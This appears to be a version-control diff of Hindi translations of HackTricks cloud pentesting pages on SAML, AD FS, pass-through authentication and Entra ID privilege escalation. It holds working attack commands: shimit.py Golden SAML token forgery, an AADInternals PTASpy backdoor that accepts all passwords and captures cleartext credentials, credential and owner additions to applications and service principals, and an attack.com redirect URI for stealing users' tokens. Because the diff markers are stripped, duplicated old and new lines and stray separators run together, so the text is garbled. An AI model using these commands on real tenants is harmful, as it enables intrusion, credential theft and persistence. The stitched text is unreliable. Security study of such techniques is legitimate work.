1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा एक्सेस किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जाता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है।
|
||||
2. इसके बाद, SP उपयोगकर्ता प्रमाणीकरण के लिए उपयुक्त IdP (जैसे, AD FS, Okta) की पहचान करता है। फिर यह एक SAML (सिक्योरिटी असेर्शन मार्कअप लैंग्वेज) AuthnRequest तैयार करता है और क्लाइंट को चुने हुए IdP पर पुनः मार्गदर्शित करता है।
|
||||
3. IdP आगे बढ़ता है, उपयोगकर्ता को प्रमाणीकरण करता है। प्रमाणीकरण के बाद, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को अग्रेषित किया जाता है।
|
||||
4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूर्ण होने का संकेत है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है।
|
||||
4. अंततः, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य किया गया, जो IdP के साथ एक विश्वास संबंध को इंगित करता है, तो उपयोगकर्ता को पहुंच दी जाती है। यह लॉगिन प्रक्रिया के पूरा होने को चिह्नित करता है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है।
|
||||
|
||||
**यदि आप SAML प्रमाणीकरण और सामान्य हमलों के बारे में अधिक जानना चाहते हैं तो जाएं:**
|
||||
**यदि आप SAML प्रमाणीकरण और सामान्य हमलों के बारे में अधिक जानना चाहते हैं, तो जाएं:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
@@ -38,10 +37,10 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
## Pivoting
|
||||
|
||||
- AD FS एक क्लेम-आधारित पहचान मॉडल है।
|
||||
- "..claims बस उपयोगकर्ताओं के बारे में किए गए बयानों (उदाहरण के लिए, नाम, पहचान, समूह) हैं, जो मुख्य रूप से इंटरनेट पर कहीं भी क्लेम-आधारित अनुप्रयोगों तक पहुंच को अधिकृत करने के लिए उपयोग किए जाते हैं।"
|
||||
- "..क्लेम्स बस उपयोगकर्ताओं के बारे में किए गए बयानों (उदाहरण के लिए, नाम, पहचान, समूह) हैं, जो मुख्य रूप से इंटरनेट पर कहीं भी क्लेम-आधारित अनुप्रयोगों तक पहुंच को अधिकृत करने के लिए उपयोग किए जाते हैं।"
|
||||
- एक उपयोगकर्ता के लिए क्लेम SAML टोकनों के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं।
|
||||
- एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक रूप से अद्वितीय है और Azure AD में संग्रहीत है।
|
||||
- ImmutableID उपयोगकर्ता के लिए ऑन-प्रिम में ms-DS-ConsistencyGuid पर संग्रहीत होता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है।
|
||||
- ImmutableID को उपयोगकर्ता के लिए ऑन-प्रिम में ms-DS-ConsistencyGuid के रूप में संग्रहीत किया जाता है और/या उपयोगकर्ता के GUID से निकाला जा सकता है।
|
||||
- अधिक जानकारी [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) में है।
|
||||
|
||||
**गोल्डन SAML हमला:**
|
||||
@@ -54,22 +53,22 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
### गोल्डन SAML
|
||||
|
||||
एक **पहचान प्रदाता (IdP)** द्वारा उपयोगकर्ता साइन-इन को अधिकृत करने के लिए **SAMLResponse** उत्पन्न करने की प्रक्रिया महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** को **हस्ताक्षरित** या **एन्क्रिप्टेड** किया जा सकता है **IdP की निजी कुंजी** का उपयोग करके। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने की अनुमति देती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था।
|
||||
एक **पहचान प्रदाता (IdP)** द्वारा उपयोगकर्ता साइन-इन को अधिकृत करने के लिए **SAMLResponse** उत्पन्न करने की प्रक्रिया महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, **प्रतिक्रिया** **हस्ताक्षरित** या **एन्क्रिप्टेड** हो सकती है, जो **IdP की निजी कुंजी** का उपयोग करती है। यह प्रक्रिया **सेवा प्रदाता (SP)** को SAMLResponse की प्रामाणिकता की पुष्टि करने में सक्षम बनाती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था।
|
||||
|
||||
[गोल्डन टिकट हमले](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षर निजी कुंजी) को **प्रमाणीकरण वस्तु** (TGT या SAMLResponse) को जाली बनाने के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का अनुकरण करने की अनुमति देता है, SP तक अनधिकृत पहुंच प्रदान करता है।
|
||||
|
||||
गोल्डन SAML कुछ लाभ प्रदान करते हैं:
|
||||
|
||||
- इन्हें **दूरस्थ रूप से** बनाया जा सकता है, बिना डोमेन या संघ का हिस्सा बने।
|
||||
- इन्हें **दूरस्थ रूप से** बनाया जा सकता है, बिना डोमेन या फेडरेशन का हिस्सा बने।
|
||||
- ये **दो-कारक प्रमाणीकरण (2FA)** सक्षम होने पर भी प्रभावी रहते हैं।
|
||||
- टोकन-हस्ताक्षर **निजी कुंजी स्वचालित रूप से नवीनीकरण नहीं करती**।
|
||||
- **किसी उपयोगकर्ता का पासवर्ड बदलने से पहले से उत्पन्न SAML अमान्य नहीं होता**।
|
||||
- टोकन-हस्ताक्षर **निजी कुंजी स्वचालित रूप से नवीनीकरण नहीं करती है**।
|
||||
- **किसी उपयोगकर्ता का पासवर्ड बदलने से पहले से उत्पन्न SAML अमान्य नहीं होता है**।
|
||||
|
||||
#### AWS + AD FS + गोल्डन SAML
|
||||
|
||||
[एक्टिव डायरेक्टरी फेडरेशन सर्विसेज (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) एक Microsoft सेवा है जो विश्वसनीय व्यापार भागीदारों (संघ) के बीच **पहचान जानकारी के सुरक्षित आदान-प्रदान** की सुविधा प्रदान करती है। यह मूल रूप से एक डोमेन सेवा को संघ के भीतर अन्य सेवा प्रदाताओं के साथ उपयोगकर्ता पहचान साझा करने की अनुमति देती है।
|
||||
[एक्टिव डायरेक्टरी फेडरेशन सर्विसेज (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) एक Microsoft सेवा है जो विश्वसनीय व्यापार भागीदारों (फेडरेशन) के बीच **पहचान जानकारी के सुरक्षित आदान-प्रदान** की सुविधा प्रदान करती है। यह मूल रूप से एक डोमेन सेवा को फेडरेशन के भीतर अन्य सेवा प्रदाताओं के साथ उपयोगकर्ता पहचान साझा करने की अनुमति देती है।
|
||||
|
||||
AWS द्वारा समझौता किए गए डोमेन (एक संघ में) पर भरोसा करने के साथ, इस भेद्यता का उपयोग संभावित रूप से **AWS वातावरण में किसी भी अनुमतियों को प्राप्त करने** के लिए किया जा सकता है। हमले के लिए **SAML वस्तुओं पर हस्ताक्षर करने के लिए उपयोग की जाने वाली निजी कुंजी** की आवश्यकता होती है, जैसे कि गोल्डन टिकट हमले में KRBTGT की आवश्यकता होती है। AD FS उपयोगकर्ता खाते तक पहुंच इस निजी कुंजी को प्राप्त करने के लिए पर्याप्त है।
|
||||
AWS द्वारा समझौता किए गए डोमेन पर भरोसा करने के साथ, इस भेद्यता का उपयोग संभावित रूप से **AWS वातावरण में किसी भी अनुमतियों को प्राप्त करने** के लिए किया जा सकता है। हमले के लिए **SAML वस्तुओं पर हस्ताक्षर करने के लिए उपयोग की जाने वाली निजी कुंजी** की आवश्यकता होती है, जैसे कि गोल्डन टिकट हमले में KRBTGT की आवश्यकता होती है। AD FS उपयोगकर्ता खाते तक पहुंच इस निजी कुंजी को प्राप्त करने के लिए पर्याप्त है।
|
||||
|
||||
गोल्डन SAML हमले को निष्पादित करने के लिए आवश्यकताएँ हैं:
|
||||
|
||||
@@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
### ऑन-प्रेम -> क्लाउड
|
||||
```bash
|
||||
@@ -0,0 +1,29 @@
|
||||
# हाइब्रिड पहचान विविध हमले
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Entra ID उपयोगकर्ताओं को ऑन-प्रेम में समन्वयित करना
|
||||
|
||||
जैसा कि [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) में उल्लेख किया गया है, यह संभव था कि ऑन-प्रेम AD में एक AD उपयोगकर्ता के अंदर **`ProxyAddress`** का मान बदलकर Entra ID प्रशासनिक उपयोगकर्ता का ईमेल जोड़ा जाए और यह सुनिश्चित किया जाए कि AD और Entra ID में उपयोगकर्ता का UPN मेल खाता हो (यह फिर से Entra ID है), जैसे **`SMTP:admin@domain.onmicrosoft.com`**। और यह **इस उपयोगकर्ता के समन्वय को Entra ID से ऑन-प्रेम AD में मजबूर करेगा**, इसलिए यदि उपयोगकर्ता का पासवर्ड ज्ञात था, तो इसका उपयोग Entra ID में प्रशासनिक उपयोगकर्ता तक **पहुँचने के लिए** किया जा सकता था।
|
||||
|
||||
Entra ID से ऑन-प्रेम AD में एक नए उपयोगकर्ता को समन्वयित करने के लिए ये आवश्यकताएँ हैं, केवल आवश्यकताएँ हैं:
|
||||
|
||||
- ऑन-प्रेम AD में एक उपयोगकर्ता के गुणों को नियंत्रित करना (या नए उपयोगकर्ताओं को बनाने के लिए अनुमतियाँ होना)
|
||||
- Entra ID से ऑन-प्रेम AD में समन्वयित करने के लिए उपयोगकर्ता को केवल क्लाउड में जानना
|
||||
- आपको **हार्ड मैच** करने के लिए Entra ID उपयोगकर्ता से ऑन-प्रेम AD उपयोगकर्ता के लिए immutableID गुण को बदलने में सक्षम होना भी आवश्यक हो सकता है।
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID अब Entra ID से ऑन-प्रेम AD में प्रशासनिक उपयोगकर्ताओं को समन्वयित करने की अनुमति नहीं देता।
|
||||
> इसके अलावा, यह **MFA को बायपास नहीं करेगा**।
|
||||
|
||||
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra पास-थ्रू प्रमाणीकरण आपके उपयोगकर्ताओं को **एक ही पासवर्ड का उपयोग करके ऑन-प्रिमाइसेस और क्लाउड-आधारित अनुप्रयोगों में साइन इन करने** की अनुमति देता है। यह सुविधा आपके उपयोगकर्ताओं को एक बेहतर अनुभव प्रदान करती है - एक कम पासवर्ड याद रखने के लिए, और आईटी हेल्पडेस्क लागत को कम करती है क्योंकि आपके उपयोगकर्ता साइन इन करना भूलने की संभावना कम होती है। जब उपयोगकर्ता Microsoft Entra ID का उपयोग करके साइन इन करते हैं, तो यह सुविधा उपयोगकर्ताओं के पासवर्ड को सीधे आपके ऑन-प्रिमाइसेस Active Directory के खिलाफ मान्य करती है।
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra पास-थ्रू प्रमाणीकरण आपके उपयोगकर्ताओं को **एक ही पासवर्ड का उपयोग करके ऑन-प्रिमाइसेस और क्लाउड-आधारित अनुप्रयोगों में साइन इन करने** की अनुमति देता है। यह सुविधा आपके उपयोगकर्ताओं को एक बेहतर अनुभव प्रदान करती है - एक कम पासवर्ड याद रखने के लिए, और आईटी हेल्पडेस्क लागत को कम करती है क्योंकि आपके उपयोगकर्ता साइन इन करना भूलने की संभावना कम होती है। जब उपयोगकर्ता Microsoft Entra ID का उपयोग करके साइन इन करते हैं, तो यह सुविधा उपयोगकर्ताओं के पासवर्ड को सीधे आपके ऑन-प्रिमाइसेस सक्रिय निर्देशिका के खिलाफ मान्य करती है।
|
||||
|
||||
PTA में **पहचानें** **सिंक्रनाइज़** होती हैं लेकिन **पासवर्ड नहीं** होते जैसे कि PHS में।
|
||||
|
||||
@@ -17,10 +17,10 @@ PTA में **पहचानें** **सिंक्रनाइज़**
|
||||
1. **लॉगिन** करने के लिए उपयोगकर्ता को **Azure AD** पर पुनर्निर्देशित किया जाता है, जहां वह **उपयोगकर्ता नाम** और **पासवर्ड** भेजता है।
|
||||
2. **क्रेडेंशियल्स** **एन्क्रिप्ट** होते हैं और Azure AD में एक **क्यू** में सेट होते हैं।
|
||||
3. **ऑन-प्रिम प्रमाणीकरण एजेंट** क्यू से **क्रेडेंशियल्स** इकट्ठा करता है और उन्हें **डिक्रिप्ट** करता है। इस एजेंट को **"पास-थ्रू प्रमाणीकरण एजेंट"** या **PTA एजेंट** कहा जाता है।
|
||||
4. **एजेंट** क्रेड्स को **ऑन-प्रिम AD** के खिलाफ **मान्य** करता है और **प्रतिक्रिया** **वापस** Azure AD को भेजता है, जो यदि प्रतिक्रिया सकारात्मक है, तो उपयोगकर्ता का **लॉगिन पूरा** करता है।
|
||||
4. **एजेंट** क्रेड्स को **ऑन-प्रिम AD** के खिलाफ **मान्य** करता है और **प्रतिक्रिया** **वापस** Azure AD को भेजता है जो, यदि प्रतिक्रिया सकारात्मक है, तो उपयोगकर्ता का **लॉगिन पूरा** करता है।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि एक हमलावर **PTA** को **समझौता** करता है, तो वह क्यू से सभी **क्रेडेंशियल्स** ( **स्पष्ट-टेक्स्ट** में) **देख** सकता है।\
|
||||
> यदि एक हमलावर **PTA** को **समझौता** करता है, तो वह क्यू से सभी **क्रेडेंशियल्स** को ( **स्पष्ट-टेक्स्ट** में) **देख** सकता है।\
|
||||
> वह AzureAD के लिए **किसी भी क्रेडेंशियल्स** को भी **मान्य** कर सकता है (Skeleton key के समान हमला)।
|
||||
|
||||
### Enumeration
|
||||
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
यदि आपके पास **Azure AD Connect सर्वर** पर **admin** पहुँच है जिसमें **PTA** **एजेंट** चल रहा है, तो आप **AADInternals** मॉड्यूल का उपयोग करके **एक बैकडोर** **डाल सकते हैं** जो **सभी पासवर्ड** को **मान्य** करेगा (तो सभी पासवर्ड प्रमाणीकरण के लिए मान्य होंगे):
|
||||
यदि आपके पास **Azure AD Connect सर्वर** पर **admin** पहुँच है जहाँ **PTA** **एजेंट** चल रहा है, तो आप **AADInternals** मॉड्यूल का उपयोग करके **एक बैकडोर** **डाल सकते हैं** जो **सभी पासवर्ड** को मान्य करेगा (इसलिए सभी पासवर्ड प्रमाणीकरण के लिए मान्य होंगे):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
@@ -73,7 +73,7 @@ Remove-AADIntPTASpy # Remove the backdoor
|
||||
यह बैकडोर करेगा:
|
||||
|
||||
- एक छिपा हुआ फ़ोल्डर `C:\PTASpy` बनाएगा
|
||||
- `C:\PTASpy` में `PTASpy.dll` की एक प्रति बनाएगा
|
||||
- `PTASpy.dll` को `C:\PTASpy` में कॉपी करेगा
|
||||
- `PTASpy.dll` को `AzureADConnectAuthenticationAgentService` प्रक्रिया में इंजेक्ट करेगा
|
||||
|
||||
> [!NOTE]
|
||||
@@ -84,13 +84,13 @@ Remove-AADIntPTASpy # Remove the backdoor
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
PTA के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के लिए संवेदनशील है। इसे जांचें:
|
||||
PTA के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे जांचें:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
@@ -1,30 +0,0 @@
|
||||
# Az- Synchronising New Users
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD
|
||||
|
||||
AzureAD से **on-prem AD** में एक नए उपयोगकर्ता को समन्वयित करने के लिए ये आवश्यकताएँ हैं:
|
||||
|
||||
- **AzureAD उपयोगकर्ता** के पास एक प्रॉक्सी पता होना चाहिए (एक **मेलबॉक्स**)
|
||||
- लाइसेंस की आवश्यकता नहीं है
|
||||
- **पहले से समन्वयित नहीं होना चाहिए**
|
||||
```bash
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
जब AzureAD में ऐसे उपयोगकर्ता पाए जाते हैं, तो **on-prem AD से इसे एक्सेस करने के लिए** आपको बस **एक नया खाता बनाना** होगा जिसमें **proxyAddress** SMTP ईमेल हो।
|
||||
|
||||
स्वतः, यह उपयोगकर्ता **AzureAD से on-prem AD उपयोगकर्ता में सिंक हो जाएगा**।
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि इस हमले को करने के लिए आपको **Domain Admin** की आवश्यकता नहीं है, आपको बस **नए उपयोगकर्ताओं को बनाने** की अनुमति चाहिए।
|
||||
>
|
||||
> इसके अलावा, यह **MFA को बायपास नहीं करेगा**।
|
||||
>
|
||||
> इसके अलावा, यह रिपोर्ट किया गया था कि **व्यवस्थापक खातों के लिए खाता सिंक अब संभव नहीं है**।
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -9,7 +9,7 @@
|
||||
|
||||
### भूमिका: विशेषाधिकार प्राप्त भूमिका प्रशासक <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
यह भूमिका प्रिंसिपलों को भूमिकाएँ सौंपने और भूमिकाओं को अधिक अनुमतियाँ देने के लिए आवश्यक ग्रैन्युलर अनुमतियाँ रखती है। दोनों क्रियाएँ विशेषाधिकार बढ़ाने के लिए दुरुपयोग की जा सकती हैं।
|
||||
इस भूमिका में आवश्यक ग्रैन्युलर अनुमतियाँ शामिल हैं ताकि प्रिंसिपलों को भूमिकाएँ सौंपने और भूमिकाओं को अधिक अनुमतियाँ देने में सक्षम हो सकें। दोनों क्रियाएँ विशेषाधिकार बढ़ाने के लिए दुरुपयोग की जा सकती हैं।
|
||||
|
||||
- उपयोगकर्ता को भूमिका सौंपें:
|
||||
```bash
|
||||
@@ -52,7 +52,7 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
यह एक हमलावर को **क्रेडेंशियल्स** (पासवर्ड या प्रमाणपत्र) को मौजूदा अनुप्रयोगों में जोड़ने की अनुमति देता है। यदि अनुप्रयोग के पास विशेषाधिकार प्राप्त अनुमतियाँ हैं, तो हमलावर उस अनुप्रयोग के रूप में प्रमाणित हो सकता है और उन विशेषाधिकारों को प्राप्त कर सकता है।
|
||||
यह एक हमलावर को **क्रेडेंशियल्स** (पासवर्ड या प्रमाणपत्र) को मौजूदा अनुप्रयोगों में जोड़ने की अनुमति देता है। यदि अनुप्रयोग के पास विशेषाधिकार प्राप्त अनुमतियाँ हैं, तो हमलावर उस अनुप्रयोग के रूप में प्रमाणीकरण कर सकता है और उन विशेषाधिकारों को प्राप्त कर सकता है।
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
यह `applications/credentials/update` के समान क्रियाएँ करने की अनुमति देता है, लेकिन एकल-निर्देशिका अनुप्रयोगों के लिए सीमित है।
|
||||
यह `applications/credentials/update` के समान क्रियाएँ करने की अनुमति देता है, लेकिन एकल-निर्देशिका अनुप्रयोगों के लिए।
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
अपने आप को एक मालिक के रूप में जोड़कर, एक हमलावर एप्लिकेशन में हेरफेर कर सकता है, जिसमें क्रेडेंशियल और अनुमतियाँ शामिल हैं।
|
||||
अपने आप को एक मालिक के रूप में जोड़कर, एक हमलावर एप्लिकेशन को हेरफेर कर सकता है, जिसमें क्रेडेंशियल और अनुमतियाँ शामिल हैं।
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -79,14 +79,14 @@ az ad app owner list --id <appId>
|
||||
|
||||
एक हमलावर उन अनुप्रयोगों में एक रीडायरेक्ट URI जोड़ सकता है जो टेनेट के उपयोगकर्ताओं द्वारा उपयोग किए जा रहे हैं और फिर उनके साथ लॉगिन URLs साझा कर सकता है जो नए रीडायरेक्ट URL का उपयोग करते हैं ताकि उनके टोकन चुराए जा सकें। ध्यान दें कि यदि उपयोगकर्ता पहले से ही अनुप्रयोग में लॉग इन था, तो प्रमाणीकरण स्वचालित होगा बिना उपयोगकर्ता को कुछ स्वीकार करने की आवश्यकता के।
|
||||
|
||||
ध्यान दें कि अनुप्रयोग द्वारा अनुरोधित अनुमतियों को बदलना भी संभव है ताकि अधिक अनुमतियाँ प्राप्त की जा सकें, लेकिन इस मामले में उपयोगकर्ता को सभी अनुमतियों के लिए पूछने वाले प्रॉम्प्ट को फिर से स्वीकार करना होगा।
|
||||
ध्यान दें कि यह भी संभव है कि अनुप्रयोग द्वारा अनुरोधित अनुमतियों को बदला जाए ताकि अधिक अनुमतियाँ प्राप्त की जा सकें, लेकिन इस मामले में उपयोगकर्ता को सभी अनुमतियों के लिए पूछने वाले प्रॉम्प्ट को फिर से स्वीकार करना होगा।
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
## सेवा प्रिंसिपल
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
@@ -95,7 +95,7 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> नया उत्पन्न किया गया पासवर्ड वेब कंसोल में नहीं दिखाई देगा, इसलिए यह सेवा प्रमुख पर स्थायीता बनाए रखने का एक छिपा हुआ तरीका हो सकता है।\
|
||||
> नया उत्पन्न किया गया पासवर्ड वेब कंसोल में नहीं दिखाई देगा, इसलिए यह एक सेवा प्रमुख पर स्थायीता बनाए रखने का एक छिपा हुआ तरीका हो सकता है।\
|
||||
> API से इन्हें इस प्रकार पाया जा सकता है: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
यदि आपको त्रुटि मिलती है `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` तो इसका कारण यह है कि **आप SP के passwordCredentials प्रॉपर्टी को संशोधित नहीं कर सकते** और पहले आपको इसे अनलॉक करना होगा। इसके लिए आपको एक अनुमति की आवश्यकता है (`microsoft.directory/applications/allProperties/update`) जो आपको निष्पादित करने की अनुमति देती है:
|
||||
@@ -128,15 +128,15 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> एक नया मालिक जोड़ने के बाद, मैंने इसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE विधि समर्थित नहीं है, भले ही यह वह विधि है जिसका उपयोग मालिक को हटाने के लिए करना आवश्यक है। इसलिए आप **आजकल मालिकों को हटा नहीं सकते**।
|
||||
> एक नए मालिक को जोड़ने के बाद, मैंने इसे हटाने की कोशिश की लेकिन API ने जवाब दिया कि DELETE विधि समर्थित नहीं है, भले ही यह वह विधि है जिसका उपयोग मालिक को हटाने के लिए करना है। इसलिए आप **आजकल मालिकों को हटा नहीं सकते**।
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` और `enable`
|
||||
|
||||
ये अनुमतियाँ सेवा प्रमुखों को अक्षम और सक्षम करने की अनुमति देती हैं। एक हमलावर इस अनुमति का उपयोग किसी सेवा प्रमुख को सक्षम करने के लिए कर सकता है जिसे वह किसी न किसी तरीके से एक्सेस कर सकता है ताकि विशेषाधिकार बढ़ा सके।
|
||||
ये अनुमतियाँ सेवा प्रमुखों को अक्षम और सक्षम करने की अनुमति देती हैं। एक हमलावर इस अनुमति का उपयोग किसी सेवा प्रमुख को सक्षम करने के लिए कर सकता है जिसे वह किसी न किसी तरह से एक्सेस कर सकता है ताकि विशेषाधिकार बढ़ा सके।
|
||||
|
||||
ध्यान दें कि इस तकनीक के लिए हमलावर को सक्षम सेवा प्रमुख पर नियंत्रण पाने के लिए अधिक अनुमतियों की आवश्यकता होगी।
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
|
||||
# Enable
|
||||
@@ -164,9 +164,17 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**जैसा कि [इस पोस्ट](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) में समझाया गया है**, यह बहुत सामान्य था कि डिफ़ॉल्ट अनुप्रयोगों में **API permissions** प्रकार **`Application`** असाइन किए गए थे। एक API Permission (जैसा कि Entra ID कंसोल में कहा जाता है) प्रकार **`Application`** का मतलब है कि अनुप्रयोग बिना किसी उपयोगकर्ता संदर्भ (बिना उपयोगकर्ता के ऐप में लॉगिन किए) API तक पहुँच सकता है, और इसे अनुमति देने के लिए Entra ID भूमिकाओं की आवश्यकता नहीं होती। इसलिए, हर Entra ID टेनेट में **उच्च विशेषाधिकार प्राप्त अनुप्रयोगों** को खोजना बहुत सामान्य है।
|
||||
|
||||
फिर, यदि एक हमलावर के पास कोई अनुमति/भूमिका है जो **अनुप्रयोग के क्रेडेंशियल्स (गुप्त या प्रमाणपत्र) को अपडेट करने** की अनुमति देती है, तो हमलावर एक नया क्रेडेंशियल उत्पन्न कर सकता है और फिर इसका उपयोग **अनुप्रयोग के रूप में प्रमाणीकरण** करने के लिए कर सकता है, जिससे उसे अनुप्रयोग के सभी अनुमतियाँ मिल जाती हैं।
|
||||
|
||||
